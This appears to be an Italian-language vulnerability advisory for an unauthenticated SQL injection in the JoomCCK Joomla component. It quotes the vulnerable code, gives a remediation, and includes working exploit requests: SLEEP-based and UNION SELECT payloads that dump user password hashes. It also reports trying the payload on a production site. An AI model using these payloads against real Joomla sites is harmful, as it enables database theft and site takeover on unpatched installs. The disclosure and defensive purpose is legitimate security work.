kara-git/cve-2026-49048-joomcck-sqliCVE-2026-49048 — JoomCCK 6.4.0 SQL Injection non autenticata (CVSS 9.8)
CVE: CVE-2026-49048
Stato: Divulgazione pubblica. Segnalato al Joomla Security Strike Team (JSST) — Ticket #282420.
| Campo | Valore |
|---|---|
| ID advisory | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| Prodotto | JoomCCK (com_joomcck) — Content Construction Kit per Joomla |
| Vendor | JoomCoder — https://www.joomcoder.com |
| Versioni affette | 6.4.0 (ultima al momento della scoperta; versioni 6.x precedenti presunte affette) |
| Versione corretta | Nessuna al momento della stesura |
| Tipo | SQL Injection (CWE-89) tramite autorizzazione mancante (CWE-862) |
| Autenticazione richiesta | Nessuna — non autenticata, pre-auth |
| Gravità | Critica — CVSS 3.1 Base Score 9.8 |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Scoperto da | Kamil Soltanov |
| Contatto | [email protected] |
| Data di scoperta | 2026-06-22 |
Il componente Joomla 4/5/6 JoomCCK espone un task del controller front-end (task=tags.save) che concatena il parametro tag fornito dall'utente direttamente nell'SQL senza escaping né parametrizzazione. Il dispatcher MVC personalizzato del componente non esegue alcun controllo del token CSRF né controllo di accesso, rendendo l'injection raggiungibile da un attaccante remoto completamente non autenticato.
Una sfruttamento riuscito consente l'accesso completo in lettura al database Joomla — inclusi gli hash delle password in #__users — tramite SQL injection di tipo UNION-based e time-based blind, portando alla compromissione totale del sito.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
Il metodo authorise() nella stessa classe è un no-op che restituisce incondizionatamente true.
Il punto di ingresso components/com_joomcck/joomcck.php chiama execute(input->get('task')) senza alcun login, token o controllo ACL → ogni metodo pubblico del controller è un task non autenticato.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Il filtro di input STRING di Joomla rimuove i tag HTML ma lascia passare " invariato — lo stesso carattere usato come delimitatore di stringa SQL in questo caso. Uscendo dal letterale tra virgolette si inietta SQL arbitrario.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
Previsto: risposta ritardata ≥ 5 secondi (per riga corrispondente).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
Il codice PoC completo e la trascrizione delle evidenze catturate sono in poc/.
Risultati chiave del laboratorio:
Payload (tag=) | Risultato |
|---|---|
cars (benigno) | 1 riga restituita — normale |
zzz" OR "1"="1 | " non sottoposto a escape → tutte le righe restituite (iniezione confermata) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | Hash della password dell'amministratore esfiltrato |
zzz" OR SLEEP(3)-- - | Risposta ritardata di 9,0 s (3 righe × 3 s) |
Il banco di prova del laboratorio utilizza il genuino
Joomla\Input\Input::getString()e la query_saveTag()verbatim contro un'istanza MariaDB 11.8 attiva.
Un attaccante remoto non autenticato può:
#__js_res_tags tramite l'UPDATE iniettabiletask=tags.delete e task=records.copy (anch'essi non autenticati — stesso difetto del dispatcher)Lo stesso difetto del dispatcher espone ulteriori task non autenticati:
| Task | Effetto |
|---|---|
tags.delete | Elimina qualsiasi tag senza autenticazione |
records.copy | Duplica qualsiasi record senza autenticazione |
ajax.category_records | Enumera i record per categoria |
ajax.tags_list | Elenca tutti i tag |
ajax.users_filter | Enumera i nomi utente |
ajax.loadfieldparams | Rivela la configurazione dei campi |
Nota: molti task records.* applicano effettivamente l'ACL internamente tramite _checkAccess() e non sono interessati.
1. Parametrizzare tutte le query (query builder di Joomla):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. Applicare l'autorizzazione nel dispatcher — aggiungere Session::checkToken() e un controllo ACL (Factory::getApplication()->getIdentity()->authorise(...)) prima di tutte le attività che modificano lo stato, rispecchiando le protezioni già presenti su files.upload.
| Data | Evento |
|---|---|
| 2026-06-22 | Vulnerabilità scoperta e verificata tramite PoC in laboratorio locale |
| 2026-06-22 | Advisory preparato; segnalato al Joomla Security Strike Team (JSST) e al VEL |
| 2026-06-23 | JSST ha preso in carico — David Jardin, Ticket #282420. Coordinamento con il fornitore (JoomCoder) tramite JSST |
| 2026-06-25 | Conferma in-the-wild su un sito Joomla di produzione: SLEEP(5) → risposta in 115 s; errore MySQL 1222 su UNION (non distruttivo, nessun dato esfiltrato) |
| Da definire | Patch del fornitore |
| Da definire | Assegnazione CVE |
| Da definire | Divulgazione pubblica (finestra coordinata di 90 giorni) |
Ricercatore di sicurezza indipendente.
Contatto: [email protected]